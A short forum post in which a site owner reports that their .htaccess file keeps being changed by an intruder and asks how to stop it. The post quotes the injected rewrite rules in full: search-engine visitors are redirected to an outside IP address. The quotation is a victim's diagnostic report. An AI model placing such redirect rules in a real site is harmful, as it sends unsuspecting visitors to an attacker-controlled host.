i have the same problem.
my own .htaccess file has been changed to:
======================================
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .*
http://89.28.13.205/in.html?s=xx [R,L]
======================================
Then i upload my backup .htaccess file to cover the changed .htaccess.
But two or three days later, the .htaccess will be changed again.
I don’t know how to avoid the changes, any help?